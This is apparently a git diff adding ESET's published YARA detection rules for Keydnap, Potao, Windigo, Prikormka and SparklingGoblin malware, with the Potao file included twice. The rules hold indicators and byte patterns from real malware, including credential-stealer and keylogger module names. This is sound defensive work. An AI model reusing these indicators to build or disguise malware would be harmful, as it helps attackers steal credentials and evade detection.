+// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+// OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+//
+
+
+rule keydnap_downloader
+{
+    meta:
+        description = "OSX/Keydnap Downloader"
+        author = "Marc-Etienne M. Leveille"
+        date = "2016-07-06"
+        reference = "http://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-is-hungry-for-credentials"
+        version = "1"
+
+    strings:
+        $ = "icloudsyncd"
+        $ = "killall Terminal"
+        $ = "open %s"
+    
+    condition:
+        2 of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/eset/Operation Potao.yar b/yara-mikesxrs/eset/Operation Potao.yar
new file mode 100644
index 0000000..82cb183
--- /dev/null
+++ b/yara-mikesxrs/eset/Operation Potao.yar	
@@ -0,0 +1,108 @@
+// Operation Potao yara rules
+// For feedback or questions contact us at: github@eset.com
+// https://github.com/eset/malware-ioc/
+//
+// These yara rules are provided to the community under the two-clause BSD
+// license as follows:
+//
+// Copyright (c) 2015, ESET
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are met:
+//
+// 1. Redistributions of source code must retain the above copyright notice, this
+// list of conditions and the following disclaimer.
+//
+// 2. Redistributions in binary form must reproduce the above copyright notice,
+// this list of conditions and the following disclaimer in the documentation
+// and/or other materials provided with the distribution.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+// OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+//
+private rule PotaoDecoy
+{
+    strings:
+        $mz = { 4d 5a }
+        $str1 = "eroqw11"
+        $str2 = "2sfsdf"
+        $str3 = "RtlDecompressBuffer"
+        $wiki_str = "spanned more than 100 years and ruined three consecutive" wide
+
+        $old_ver1 = {53 68 65 6C 6C 33 32 2E 64 6C 6C 00 64 61 66 73 72 00 00 00 64 61 66 73 72 00 00 00 64 6F 63 (00 | 78)}
+        $old_ver2 = {6F 70 65 6E 00 00 00 00 64 6F 63 00 64 61 66 73 72 00 00 00 53 68 65 6C 6C 33 32 2E 64 6C 6C 00}       
+    condition:
+        ($mz at 0) and ( (all of ($str*)) or any of ($old_ver*) or $wiki_str )
+}
+private rule PotaoDll
+{
+    strings:
+        $mz = { 4d 5a }
+        
+        $dllstr1 = "?AVCncBuffer@@"
+        $dllstr2 = "?AVCncRequest@@"
+        $dllstr3 = "Petrozavodskaya, 11, 9"
+        $dllstr4 = "_Scan@0"
+        $dllstr5 = "\x00/sync/document/"
+        $dllstr6 = "\\temp.temp"
+        
+        $dllname1 = "node69MainModule.dll"
+        $dllname2 = "node69-main.dll"
+        $dllname3 = "node69MainModuleD.dll"
+        $dllname4 = "task-diskscanner.dll"
+        $dllname5 = "\x00Screen.dll"
+        $dllname6 = "Poker2.dll"        
+        $dllname7 = "PasswordStealer.dll"
+        $dllname8 = "KeyLog2Runner.dll" 
+        $dllname9 = "GetAllSystemInfo.dll"          
+        $dllname10 = "FilePathStealer.dll"          
+    condition:
+        ($mz at 0) and (any of ($dllstr*) and any of ($dllname*))
+}
+private rule PotaoUSB
+{
+    strings:
+        $mz = { 4d 5a }
+        
+        $binary1 = { 33 C0 8B C8 83 E1 03 BA ?? ?? ?? 00 2B D1 8A 0A 32 88 ?? ?? ?? 00 2A C8 FE C9 88 88 ?? ?? ?? 00 40 3D ?? ?? 00 00 7C DA C3 }
+        $binary2 = { 55 8B EC 51 56 C7 45 FC 00 00 00 00 EB 09 8B 45 FC 83 C0 01 89 45 FC 81 7D FC ?? ?? 00 00 7D 3D 8B 4D FC 0F BE 89 ?? ?? ?? 00 8B 45 FC 33 D2 BE 04 00 00 00 F7 F6 B8 03 00 00 00 2B C2 0F BE 90 ?? ?? ?? 00 33 CA 2B 4D FC 83 E9 01 81 E1 FF 00 00 00 8B 45 FC 88 88 ?? ?? ?? 00 EB B1 5E 8B E5 5D C3}
+    condition:
+        ($mz at 0) and any of ($binary*)
+}
+private rule PotaoSecondStage
+{
+    strings:
+        $mz = { 4d 5a }
+        // hash of CryptBinaryToStringA and CryptStringToBinaryA
+        $binary1 = {51 7A BB 85 [10-180] E8 47 D2 A8}
+        // old hash of CryptBinaryToStringA and CryptStringToBinaryA
+        $binary2 = {5F 21 63 DD [10-30] EC FD 33 02}
+        $binary3 = {CA 77 67 57 [10-30] BA 08 20 7A}
+        
+        $str1 = "?AVCrypt32Import@@"
+        $str2 = "%.5llx"
+    condition:
+        ($mz at 0) and any of ($binary*) and any of ($str*)
+}
+rule Potao
+{
+    meta:
+        Author      = "Anton Cherepanov"
+        Date        = "2015/07/29"
+        Description = "Operation Potao"
+        Reference   = "http://www.welivesecurity.com/wp-content/uploads/2015/07/Operation-Potao-Express_final_v2.pdf"
+        Source = "https://github.com/eset/malware-ioc/"
+        Contact = "threatintel@eset.com"
+        License = "BSD 2-Clause"
+    condition:
+        PotaoDecoy or PotaoDll or PotaoUSB or PotaoSecondStage
+}
diff --git a/yara-mikesxrs/eset/Operation Windigo.yar b/yara-mikesxrs/eset/Operation Windigo.yar
new file mode 100644
index 0000000..a0b7ed8
--- /dev/null
+++ b/yara-mikesxrs/eset/Operation Windigo.yar	
@@ -0,0 +1,59 @@
+// Operation Windigo yara rules
+// For feedback or questions contact us at: windigo@eset.sk
+// https://github.com/eset/malware-ioc/
+//
+// These yara rules are provided to the community under the two-clause BSD
+// license as follows:
+//
+// Copyright (c) 2014, ESET
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are met:
+//
+// 1. Redistributions of source code must retain the above copyright notice, this
+// list of conditions and the following disclaimer.
+//
+// 2. Redistributions in binary form must reproduce the above copyright notice,
+// this list of conditions and the following disclaimer in the documentation
+// and/or other materials provided with the distribution.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+// OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+//
+rule onimiki
+{
+  meta:
+    description = "Linux/Onimiki malicious DNS server"
+    malware = "Linux/Onimiki"
+    operation = "Windigo"
+    author = "Olivier Bilodeau <bilodeau@eset.com>"
+    created = "2014-02-06"
+    reference = "http://www.welivesecurity.com/wp-content/uploads/2014/03/operation_windigo.pdf"
+    contact = "windigo@eset.sk"
+    source = "https://github.com/eset/malware-ioc/"
+    license = "BSD 2-Clause"
+
+  strings:
+    // code from offset: 0x46CBCD
+    $a1 = {43 0F B6 74 2A 0E 43 0F  B6 0C 2A 8D 7C 3D 00 8D}
+    $a2 = {74 35 00 8D 4C 0D 00 89  F8 41 F7 E3 89 F8 29 D0}
+    $a3 = {D1 E8 01 C2 89 F0 C1 EA  04 44 8D 0C 92 46 8D 0C}
+    $a4 = {8A 41 F7 E3 89 F0 44 29  CF 29 D0 D1 E8 01 C2 89}
+    $a5 = {C8 C1 EA 04 44 8D 04 92  46 8D 04 82 41 F7 E3 89}
+    $a6 = {C8 44 29 C6 29 D0 D1 E8  01 C2 C1 EA 04 8D 04 92}
+    $a7 = {8D 04 82 29 C1 42 0F B6  04 21 42 88 84 14 C0 01}
+    $a8 = {00 00 42 0F B6 04 27 43  88 04 32 42 0F B6 04 26}
+    $a9 = {42 88 84 14 A0 01 00 00  49 83 C2 01 49 83 FA 07}
+
+  condition:
+    all of them
+}
diff --git a/yara-mikesxrs/eset/PotaoNew.yara b/yara-mikesxrs/eset/PotaoNew.yara
new file mode 100644
index 0000000..82cb183
--- /dev/null
+++ b/yara-mikesxrs/eset/PotaoNew.yara
@@ -0,0 +1,108 @@
+// Operation Potao yara rules
+// For feedback or questions contact us at: github@eset.com
+// https://github.com/eset/malware-ioc/
+//
+// These yara rules are provided to the community under the two-clause BSD
+// license as follows:
+//
+// Copyright (c) 2015, ESET
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are met:
+//
+// 1. Redistributions of source code must retain the above copyright notice, this
+// list of conditions and the following disclaimer.
+//
+// 2. Redistributions in binary form must reproduce the above copyright notice,
+// this list of conditions and the following disclaimer in the documentation
+// and/or other materials provided with the distribution.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+// OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+//
+private rule PotaoDecoy
+{
+    strings:
+        $mz = { 4d 5a }
+        $str1 = "eroqw11"
+        $str2 = "2sfsdf"
+        $str3 = "RtlDecompressBuffer"
+        $wiki_str = "spanned more than 100 years and ruined three consecutive" wide
+
+        $old_ver1 = {53 68 65 6C 6C 33 32 2E 64 6C 6C 00 64 61 66 73 72 00 00 00 64 61 66 73 72 00 00 00 64 6F 63 (00 | 78)}
+        $old_ver2 = {6F 70 65 6E 00 00 00 00 64 6F 63 00 64 61 66 73 72 00 00 00 53 68 65 6C 6C 33 32 2E 64 6C 6C 00}       
+    condition:
+        ($mz at 0) and ( (all of ($str*)) or any of ($old_ver*) or $wiki_str )
+}
+private rule PotaoDll
+{
+    strings:
+        $mz = { 4d 5a }
+        
+        $dllstr1 = "?AVCncBuffer@@"
+        $dllstr2 = "?AVCncRequest@@"
+        $dllstr3 = "Petrozavodskaya, 11, 9"
+        $dllstr4 = "_Scan@0"
+        $dllstr5 = "\x00/sync/document/"
+        $dllstr6 = "\\temp.temp"
+        
+        $dllname1 = "node69MainModule.dll"
+        $dllname2 = "node69-main.dll"
+        $dllname3 = "node69MainModuleD.dll"
+        $dllname4 = "task-diskscanner.dll"
+        $dllname5 = "\x00Screen.dll"
+        $dllname6 = "Poker2.dll"        
+        $dllname7 = "PasswordStealer.dll"
+        $dllname8 = "KeyLog2Runner.dll" 
+        $dllname9 = "GetAllSystemInfo.dll"          
+        $dllname10 = "FilePathStealer.dll"          
+    condition:
+        ($mz at 0) and (any of ($dllstr*) and any of ($dllname*))
+}
+private rule PotaoUSB
+{
+    strings:
+        $mz = { 4d 5a }
+        
+        $binary1 = { 33 C0 8B C8 83 E1 03 BA ?? ?? ?? 00 2B D1 8A 0A 32 88 ?? ?? ?? 00 2A C8 FE C9 88 88 ?? ?? ?? 00 40 3D ?? ?? 00 00 7C DA C3 }
+        $binary2 = { 55 8B EC 51 56 C7 45 FC 00 00 00 00 EB 09 8B 45 FC 83 C0 01 89 45 FC 81 7D FC ?? ?? 00 00 7D 3D 8B 4D FC 0F BE 89 ?? ?? ?? 00 8B 45 FC 33 D2 BE 04 00 00 00 F7 F6 B8 03 00 00 00 2B C2 0F BE 90 ?? ?? ?? 00 33 CA 2B 4D FC 83 E9 01 81 E1 FF 00 00 00 8B 45 FC 88 88 ?? ?? ?? 00 EB B1 5E 8B E5 5D C3}
+    condition:
+        ($mz at 0) and any of ($binary*)
+}
+private rule PotaoSecondStage
+{
+    strings:
+        $mz = { 4d 5a }
+        // hash of CryptBinaryToStringA and CryptStringToBinaryA
+        $binary1 = {51 7A BB 85 [10-180] E8 47 D2 A8}
+        // old hash of CryptBinaryToStringA and CryptStringToBinaryA
+        $binary2 = {5F 21 63 DD [10-30] EC FD 33 02}
+        $binary3 = {CA 77 67 57 [10-30] BA 08 20 7A}
+        
+        $str1 = "?AVCrypt32Import@@"
+        $str2 = "%.5llx"
+    condition:
+        ($mz at 0) and any of ($binary*) and any of ($str*)
+}
+rule Potao
+{
+    meta:
+        Author      = "Anton Cherepanov"
+        Date        = "2015/07/29"
+        Description = "Operation Potao"
+        Reference   = "http://www.welivesecurity.com/wp-content/uploads/2015/07/Operation-Potao-Express_final_v2.pdf"
+        Source = "https://github.com/eset/malware-ioc/"
+        Contact = "threatintel@eset.com"
+        License = "BSD 2-Clause"
+    condition:
+        PotaoDecoy or PotaoDll or PotaoUSB or PotaoSecondStage
+}
diff --git a/yara-mikesxrs/eset/Prikormka.yar b/yara-mikesxrs/eset/Prikormka.yar
new file mode 100644
index 0000000..8b27db2
--- /dev/null
+++ b/yara-mikesxrs/eset/Prikormka.yar
@@ -0,0 +1,165 @@
+// Operation Groundbait yara rules
+// For feedback or questions contact us at: github@eset.com
+// https://github.com/eset/malware-ioc/
+//
+// These yara rules are provided to the community under the two-clause BSD
+// license as follows:
+//
+// Copyright (c) 2016, ESET
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are met:
+//
+// 1. Redistributions of source code must retain the above copyright notice, this
+// list of conditions and the following disclaimer.
+//
+// 2. Redistributions in binary form must reproduce the above copyright notice,
+// this list of conditions and the following disclaimer in the documentation
+// and/or other materials provided with the distribution.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+// OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+//
+
+private rule PrikormkaDropper
+{
+    meta:
+        Author      = "Anton Cherepanov"
+        Date        = "2016/05/10"
+        Description = "Operation Groundbait"
+        Source = "https://github.com/eset/malware-ioc/"
+        Contact = "threatintel@eset.com"
+        License = "BSD 2-Clause"
+        
+    strings:
+        $mz = { 4D 5A }
+
+        $kd = "KDSTORAGE" wide
+        $kd = "KDSTORAGE_64" wide
+        $kd = "KDRUNDRV32" wide
+        $kd = "KDRAR" wide
+
+        $bin = {69 65 04 15 00 14 1E 4A 16 42 08 6C 21 61 24 0F}
+        $bin = {76 6F 05 04 16 1B 0D 5E 0D 42 08 6C 20 45 18 16}
+        $bin = {4D 00 4D 00 43 00 00 00 67 00 75 00 69 00 64 00 56 00 47 00 41 00 00 00 5F 00 73 00 76 00 67 00}
+
+        $inj = "?AVCinj2008Dlg@@" ascii
+        $inj = "?AVCinj2008App@@" ascii
+    condition:
+        ($mz at 0) and ((any of ($bin)) or (3 of ($kd)) or (all of ($inj)))
+}
+
+private rule PrikormkaModule
+{
+    meta:
+        Author      = "Anton Cherepanov"
+        Date        = "2016/05/10"
+        Description = "Operation Groundbait"
+        Source = "https://github.com/eset/malware-ioc/"
+        Contact = "threatintel@eset.com"
+        License = "BSD 2-Clause"
+        
+    strings:
+        $mz = { 4D 5A }
+
+        // binary
+        $str = {6D 70 2E 64 6C 6C 00 53 74 61 72 74 69 6E 67 00}
+        $str = {68 6C 70 75 63 74 66 2E 64 6C 6C 00 43 79 63 6C 65}
+        $str = {00 6B 6C 2E 64 6C 6C 00 53 74 61 72 74 69 6E 67 00}
+        $str = {69 6F 6D 75 73 2E 64 6C 6C 00 53 74 61 72 74 69 6E 67}
+        $str = {61 74 69 6D 6C 2E 64 6C 6C 00 4B 69 63 6B 49 6E 50 6F 69 6E 74}
+        $str = {73 6E 6D 2E 64 6C 6C 00 47 65 74 52 65 61 64 79 46 6F 72 44 65 61 64}
+        $str = {73 63 72 73 68 2E 64 6C 6C 00 47 65 74 52 65 61 64 79 46 6F 72 44 65 61 64}
+
+        // encrypted
+        $str = {50 52 55 5C 17 51 58 17 5E 4A}
+        $str = {60 4A 55 55 4E 53 58 4B 17 52 57 17 5E 4A}
+        $str = {55 52 5D 4E 5B 4A 5D 17 51 58 17 5E 4A}
+        $str = {60 4A 55 55 4E 61 17 51 58 17 5E 4A}
+        $str = {39 5D 17 1D 1C 0A 3C 57 59 3B 1C 1E 57 58 4C 54 0F}
+
+        // mutex
+        $str = "ZxWinDeffContex" ascii wide
+        $str = "Paramore756Contex43" wide
+        $str = "Zw_&one@ldrContext43" wide
+
+        // other
+        $str = "A95BL765MNG2GPRS"
+
+        // dll names
+        $str = "helpldr.dll" wide fullword
+        $str = "swma.dll" wide fullword
+        $str = "iomus.dll" wide fullword
+        $str = "atiml.dll"  wide fullword
+        $str = "hlpuctf.dll" wide fullword
+        $str = "hauthuid.dll" ascii wide fullword
+
+        // rbcon
+        $str = "[roboconid][%s]" ascii fullword
+        $str = "[objectset][%s]" ascii fullword
+        $str = "rbcon.ini" wide fullword
+
+        // files and logs
+        $str = "%s%02d.%02d.%02d_%02d.%02d.%02d.skw" ascii fullword
+        $str = "%02d.%02d.%02d_%02d.%02d.%02d.%02d.rem" wide fullword
+
+        // pdb strings
+        $str = ":\\!PROJECTS!\\Mina\\2015\\" ascii
+        $str = "\\PZZ\\RMO\\" ascii
+        $str = ":\\work\\PZZ" ascii
+        $str = "C:\\Users\\mlk\\" ascii
+        $str = ":\\W o r k S p a c e\\" ascii
+        $str = "D:\\My\\Projects_All\\2015\\" ascii
+        $str = "\\TOOLS PZZ\\Bezzahod\\" ascii
+
+    condition:
+        ($mz at 0) and (any of ($str))
+}
+
+private rule PrikormkaEarlyVersion
+{
+    meta:
+        Author      = "Anton Cherepanov"
+        Date        = "2016/05/10"
+        Description = "Operation Groundbait"
+        Source = "https://github.com/eset/malware-ioc/"
+        Contact = "threatintel@eset.com"
+        License = "BSD 2-Clause"
+        
+    strings:
+        $mz = { 4D 5A }
+
+        $str = "IntelRestore" ascii fullword
+        $str = "Resent" wide fullword
+        $str = "ocp8.1" wide fullword
+        $str = "rsfvxd.dat" ascii fullword
+        $str = "tsb386.dat" ascii fullword
+        $str = "frmmlg.dat" ascii fullword
+        $str = "smdhost.dll" ascii fullword
+        $str = "KDLLCFX" wide fullword
+        $str = "KDLLRUNDRV" wide fullword
+    condition:
+        ($mz at 0) and (2 of ($str))
+}
+
+rule Prikormka
+{
+    meta:
+        Author      = "Anton Cherepanov"
+        Date        = "2016/05/10"
+        Description = "Operation Groundbait"
+        Source = "https://github.com/eset/malware-ioc/"
+        Contact = "threatintel@eset.com"
+        License = "BSD 2-Clause"
+    condition:
+        PrikormkaDropper or PrikormkaModule or PrikormkaEarlyVersion
+}
diff --git a/yara-mikesxrs/eset/SparklingGoblin.yar b/yara-mikesxrs/eset/SparklingGoblin.yar
new file mode 100644
index 0000000..8c1b827
--- /dev/null
+++ b/yara-mikesxrs/eset/SparklingGoblin.yar
@@ -0,0 +1,489 @@
+// For feedback or questions contact us at: github@eset.com
+// https://github.com/eset/malware-ioc/
+//
+// These yara rules are provided to the community under the two-clause BSD
+// license as follows:
+//
+// Copyright (c) 2021, ESET
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are met:
+//
+// 1. Redistributions of source code must retain the above copyright notice, this
+// list of conditions and the following disclaimer.
+//
+// 2. Redistributions in binary form must reproduce the above copyright notice,
+// this list of conditions and the following disclaimer in the documentation
+// and/or other materials provided with the distribution.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+// OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+//
+
+import "pe"
+rule SparklingGoblin_ChaCha20Loader_RichHeader
+{
+    meta:
+        author = "ESET Research"
+        copyright = "ESET Research"
+        description = "Rule matching ChaCha20 loaders rich header"
+        date = "2021-03-30"
+        reference = "http://welivesecurity.com/2021/08/24/sidewalk-may-be-as-dangerous-as-crosswalk/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+
+        hash = "09FFE37A54BC4EBEBD8D56098E4C76232F35D821"
+        hash = "29B147B76BB0D9E09F7297487CB972E6A2905586"
+        hash = "33F2C3DE2457B758FC5824A2B253AD7C7C2E9E37"
+        hash = "45BEF297CE78521EAC6EE39E7603E18360E67C5A"
+        hash = "4CEC7CDC78D95C70555A153963064F216DAE8799"
+        hash = "4D4C1A062A0390B20732BA4D65317827F2339B80"
+        hash = "4F6949A4906B834E83FF951E135E0850FE49D5E4"
+
+    condition:
+        pe.rich_signature.length >= 104 and pe.rich_signature.length <= 112 and
+        pe.rich_signature.toolid(241, 40116) >= 5 and pe.rich_signature.toolid(241, 40116) <= 10  and
+        pe.rich_signature.toolid(147, 30729) == 11 and
+        pe.rich_signature.toolid(264, 24215) >= 15 and pe.rich_signature.toolid(264, 24215) <= 16 
+}
+
+rule SparklingGoblin_ChaCha20
+{
+    meta:
+        author = "ESET Research"
+        copyright = "ESET Research"
+        description = "SparklingGoblin ChaCha20 implementations"
+        date = "2021-05-20"
+        reference = "http://welivesecurity.com/2021/08/24/sidewalk-may-be-as-dangerous-as-crosswalk/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+
+        hash = "2EDBEA43F5C40C867E5B6BBD93CC972525DF598B"
+        hash = "B6D245D3D49B06645C0578804064CE0C072CBE0F"
+        hash = "8BE6D5F040D0085C62B1459AFC627707B0DE89CF"
+        hash = "4668302969FE122874FB2447A80378DCB671C86B"
+        hash = "9BDECB08E16A23D271D0A3E836D9E7F83D7E2C3B"
+        hash = "9CE7650F2C08C391A35D69956E171932D116B8BD"
+        hash = "91B32E030A1F286E7D502CA17E107D4BFBD7394A"
+
+    strings:
+        // 32-bits version
+        $chunk_1 = {
+            8B 4D ??
+            56
+            8B 75 ??
+            57
+            8B 7D ??
+            8B 04 BB
+            01 04 93
+            8B 04 B3
+            33 04 93
+            C1 C0 10
+            89 04 B3
+            01 04 8B
+            8B 04 BB
+            33 04 8B
+            C1 C0 0C
+            89 04 BB
+            01 04 93
+            8B 04 B3
+            33 04 93
+            C1 C0 08
+            89 04 B3
+            01 04 8B
+            8B 04 BB
+            33 04 8B
+            C1 C0 07
+            89 04 BB
+        }
+        // 64-bits version
+        $chunk_2 = {
+            03 4D ??
+            44 03 C0
+            03 55 ??
+            33 F1
+            45 33 D8
+            C1 C6 10
+            44 33 F2
+            41 C1 C3 10
+            41 03 FB
+            41 C1 C6 10
+            45 03 E6
+            41 03 DA
+            44 33 CB
+            44 03 EE
+            41 C1 C1 10
+            8B C7
+            33 45 ??
+            45 03 F9
+            C1 C0 0C
+            44 03 C0
+            45 33 D8
+            44 89 45 ??
+            41 C1 C3 08
+            41 03 FB
+            44 8B C7
+            44 33 C0
+            41 8B C5
+            33 45 ??
+            C1 C0 0C
+            03 C8
+            41 C1 C0 07
+            33 F1
+            89 4D ??
+            C1 C6 08
+            44 03 EE
+            41 8B CD
+            33 C8
+            41 8B C4
+            33 45 ??
+            C1 C0 0C
+            03 D0
+            C1 C1 07
+            44 33 F2
+            89 55 ??
+            41 C1 C6 08
+            45 03 E6
+            41 8B D4
+            33 D0
+            41 8B C7
+            41 33 C2
+            C1 C2 07
+            C1 C0 0C
+            03 D8
+            44 33 CB
+            41 C1 C1 08
+            45 03 F9
+            45 8B D7
+            44 33 D0
+            8B 45 ??
+            03 C1
+            41 C1 C2 07
+            44 33 C8
+            89 45 ??
+            41 C1 C1 10
+            45 03 E1
+            41 8B C4
+            33 C1
+            8B 4D ??
+            C1 C0 0C
+            03 C8
+            44 33 C9
+            89 4D ??
+            89 4D ??
+            41 C1 C1 08
+            45 03 E1
+            41 8B CC
+            33 C8
+            8B 45 ??
+            C1 C1 07
+            89 4D ??
+            89 4D ??
+            03 C2
+            41 03 D8
+            89 45 ??
+            41 33 C3
+            C1 C0 10
+            44 03 F8
+            41 8B CF
+            33 CA
+            8B 55 ??
+        }
+        $chunk_3 = {
+            C7 45 ?? 65 78 70 61
+            4C 8D 45 ??
+            C7 45 ?? 6E 64 20 33
+            4D 8B F9
+            C7 45 ?? 32 2D 62 79
+            4C 2B C1
+            C7 45 ?? 74 65 20 6B
+        }
+        $chunk_4 = {
+            0F B6 02
+            0F B6 4A ??
+            C1 E1 08
+            0B C8
+            0F B6 42 ??
+            C1 E1 08
+            0B C8
+            0F B6 42 ??
+            C1 E1 08
+            0B C8
+            41 89 0C 10
+            48 8D 52 ??
+            49 83 E9 01
+        }
+        // 64-bits version
+        $chunk_5 = {
+            03 4D ??
+            44 03 C0
+            03 55 ??
+            33 F1
+            41 33 F8
+            C1 C6 10
+            44 33 F2
+            C1 C7 10
+            44 03 DF
+            41 C1 C6 10
+            45 03 E6
+            44 03 CB
+            45 33 D1
+            44 03 EE
+            41 C1 C2 10
+            41 8B C3
+            33 45 ??
+            45 03 FA
+            C1 C0 0C
+            44 03 C0
+            41 33 F8
+            44 89 45 ??
+            C1 C7 08
+            44 03 DF
+            45 8B C3
+            44 33 C0
+            41 8B C5
+            33 45 ??
+            C1 C0 0C
+            03 C8
+            41 C1 C0 07
+            33 F1
+            89 4D ??
+            C1 C6 08
+            44 03 EE
+            41 8B CD
+            33 C8
+            41 8B C4
+            33 45 ??
+            C1 C0 0C
+            03 D0
+            C1 C1 07
+            44 33 F2
+            89 55 ??
+            41 C1 C6 08
+            45 03 E6
+            41 8B D4
+            33 D0
+            41 8B C7
+            33 C3
+            C1 C2 07
+            C1 C0 0C
+            44 03 C8
